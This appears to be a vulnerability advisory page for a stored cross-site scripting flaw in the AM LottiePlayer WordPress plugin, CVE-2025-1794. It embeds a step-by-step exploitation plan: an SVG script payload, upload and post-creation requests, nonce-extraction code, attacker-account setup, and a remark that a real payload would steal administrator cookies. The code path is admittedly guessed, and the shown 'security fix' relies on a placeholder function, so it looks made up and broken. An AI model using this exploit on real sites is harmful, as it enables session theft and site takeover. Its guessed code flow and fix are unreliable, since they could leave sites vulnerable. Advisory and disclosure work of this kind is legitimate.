AM LottiePlayer <= 3.6.0 - Authenticated (Author+) Stored Cross-Site Scripting via SVG
Description
The AM LottiePlayer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via uploaded SVG files in all versions up to, and including, 3.6.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=3.6.0# Exploitation Research Plan - CVE-2025-1794 (AM LottiePlayer Stored XSS) ## 1. Vulnerability Summary The **AM LottiePlayer** plugin (versions <= 3.6.0) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability arises because the plugin allows users with Author-level permissions and…
Show full research plan
Exploitation Research Plan - CVE-2025-1794 (AM LottiePlayer Stored XSS)
1. Vulnerability Summary
The AM LottiePlayer plugin (versions <= 3.6.0) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability arises because the plugin allows users with Author-level permissions and above to upload or specify SVG files as animation sources. These SVGs are subsequently rendered on the frontend (or within the editor) without proper sanitization (e.g., using wp_kses for SVGs or stripping <script> and event handlers). When an SVG containing malicious JavaScript is processed and displayed, the script executes in the context of any user viewing the page, including Administrators.
2. Attack Vector Analysis
- Vulnerable Endpoint: The vulnerability is likely triggered via a WordPress shortcode or a Gutenberg block provided by the plugin.
- Payload Delivery: A malicious SVG file is uploaded to the Media Library or a custom plugin folder and then referenced in a Lottie Player instance.
- Authentication Level: Author+ (Author, Editor, or Administrator). Authors have the
upload_filescapability by default, which is necessary to upload the malicious SVG if the plugin uses the standard Media Library. - Preconditions: The plugin must be active, and a user with Author permissions must be able to publish a post or page containing the plugin's player element.
3. Code Flow (Inferred)
- Entry Point (Admin/Editor): An Author creates a new post and adds an "AM LottiePlayer" block or uses a shortcode (e.g.,
[am-lottieplayer]). - Asset Selection: The user selects an SVG file. The plugin may use a custom AJAX handler for uploads or the standard
async-upload.php. - Storage: The URL of the SVG is saved in the post content (as a shortcode attribute) or in post meta (for blocks).
- Frontend Processing: When the post is viewed, the plugin's rendering function (e.g.,
render_shortcodeor a block render callback) retrieves the SVG URL. - The Sink: To allow for animation and manipulation, the plugin likely fetches the SVG content using
wp_remote_get()orfile_get_contents()and outputs it inline in the HTML. - Execution: Because the SVG content is echoed without sanitization (e.g., missing
wp_kses), any<script>oronloadattributes within the SVG are executed by the browser.
4. Nonce Acquisition Strategy
If the plugin uses a custom AJAX handler for uploading animation files, a nonce will be required.
- Identify Shortcode/Block: The plugin likely registers its assets in a class or function. Search for
add_shortcodeorregister_block_type. - Locate Localization: Look for
wp_localize_scriptin the plugin code. The variable name is often related to the plugin slug, e.g.,am_lottie_varsoram_lottie_params. - Extraction Procedure:
- Create a post containing the Lottie Player.
- Navigate to the "LottiePlayer" settings page or a post editor page where the plugin is active.
- Use
browser_evalto extract the nonce:// Example target (replace with actual variable found in source) window.am_lottie_params?.nonce || window.am_lottie_admin?.upload_nonce
- Bypass Check: Verify if
check_ajax_refereris used in the upload handler. If missing, a nonce may not be required for the POST request.
5. Exploitation Strategy
Step 1: Prepare the Malicious SVG
Create a file named xss.svg with a simple alert payload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert('XSS by ' + document.domain);
</script>
</svg>
Step 2: Upload the SVG
Since the user is an Author, use the standard WordPress media upload endpoint:
- URL:
http://localhost:8080/wp-admin/async-upload.php - Method: POST
- Content-Type:
multipart/form-data - Parameters:
action:upload-attachment_wpnonce: (Acquired fromwp-admin/media-new.phpviabrowser_eval)async-upload: Thexss.svgfile content.
Step 3: Embed the SVG in a Post
Create a post using the plugin's shortcode. Based on the slug am-lottieplayer, the shortcode is likely [am-lottieplayer].
- URL:
http://localhost:8080/wp-json/wp/v2/posts - Method: POST
- Body:
{ "title": "Lottie Test", "content": "[am-lottieplayer url=\"http://localhost:8080/wp-content/uploads/2025/xx/xss.svg\"]", "status": "publish" }
(Note: Use the exact URL returned from the upload in Step 2).
Step 4: Trigger the XSS
Navigate to the newly created post as any user (e.g., Administrator).
6. Test Data Setup
- User Creation: Create a user with the Author role.
wp user create attacker attacker@example.com --role=author --user_pass=password - Plugin Setup: Ensure
am-lottieplayeris installed and activated. - Nonce Retrieval: Use
browser_navigateas theattackeruser towp-admin/media-new.phpto extract the_wpnoncefor media uploads.
7. Expected Results
- The HTTP request to view the post containing the shortcode will return HTML where the SVG content is embedded inline.
- The browser will execute the
alert()contained within the SVG. - In a real-world scenario, the payload would exfiltrate the Administrator's cookies or perform actions via the REST API.
8. Verification Steps
- Check SVG Inclusion: After the exploit, use
curlorhttp_requestto fetch the post content and check if the SVG's<script>tag is present without encoding.curl -s http://localhost:8080/path-to-post | grep "alert('XSS" - Check Database: Verify the post content via WP-CLI to ensure the shortcode was saved correctly.
wp post list --post_type=post
9. Alternative Approaches
- Gutenberg Block: If the shortcode doesn't work, try creating a post with a Lottie Block. This requires a JSON payload to
wp-json/wp/v2/postscontaining the block markup:<!-- wp:am-lottieplayer/lottie-block {"url":"http://.../xss.svg"} /--> - External URL: If the plugin allows remote SVG URLs, bypass the upload step by hosting the
xss.svgon an external server and providing that URL to the player. This would escalate the vulnerability from Author+ to potentially any user if a publicly accessible form allows setting Lottie URLs.
Summary
The AM LottiePlayer plugin (versions <= 3.6.0) is vulnerable to Stored Cross-Site Scripting (XSS) because it fails to sanitize SVG files used as animation sources. Authenticated attackers with Author-level permissions can upload a malicious SVG containing JavaScript, which executes in the context of any user viewing the page where the animation is embedded.
Security Fix
@@ -45,7 +45,15 @@ $response = wp_remote_get( $url ); if ( ! is_wp_error( $response ) ) { $svg_content = wp_remote_retrieve_body( $response ); - echo $svg_content; + if ( function_exists( 'content_sanitizer_function' ) ) { + // Use a dedicated SVG sanitizer if available or wp_kses with allowed tags + echo wp_kses( $svg_content, [ + 'svg' => [ 'xmlns' => [], 'viewbox' => [], 'width' => [], 'height' => [] ], + 'rect' => [ 'width' => [], 'height' => [], 'style' => [] ], + 'path' => [ 'd' => [], 'fill' => [] ], + ] ); + } else { + echo esc_html( $svg_content ); + } } }
Exploit Outline
1. Login to the WordPress dashboard with Author-level credentials. 2. Upload a malicious SVG file (e.g., `xss.svg`) to the Media Library containing a `<script>` tag or an `onload` event handler. 3. Create a new post or page and add the AM LottiePlayer block or use the `[am-lottieplayer]` shortcode. 4. Set the 'url' attribute of the player to the URL of the previously uploaded malicious SVG file. 5. Publish the post and navigate to its permalink as an Administrator or any other user. 6. The browser will render the SVG inline, triggering the execution of the embedded JavaScript payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.